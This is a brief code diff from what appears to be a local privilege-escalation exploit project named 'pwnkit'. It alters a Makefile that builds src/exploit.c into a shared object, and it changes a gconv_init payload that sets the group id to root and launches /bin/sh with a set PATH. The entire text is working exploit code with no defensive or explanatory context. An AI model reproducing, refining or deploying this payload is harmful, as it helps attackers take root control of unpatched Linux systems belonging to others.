@ -6,7 +6,7 @@ CC_FLAGS ?=
.PHONY: all debug
all:
gcc -shared src/exploit.c -o out/pwnkit.so -Wl,-soname,libservice.so -Wl,-e,main -fPIC
gcc -shared src/exploit.c -o out/pwnkit.so -Wl,-e,main -fPIC
debug: CC_FLAGS:=-g -O0 -v ${CC_FLAGS}
debug: all
@ -23,7 +23,11 @@ void gconv_init() {
setgid(0);
setegid(0);
char *shellArgv[] = {"sh", NULL};
execv("/bin/sh", shellArgv);
char *env[] = {
"PATH=/bin:/usr/bin:/sbin:/usr/sbin",
NULL
};
execve("/bin/sh", shellArgv, env);
}
void setup(char *argv[]) {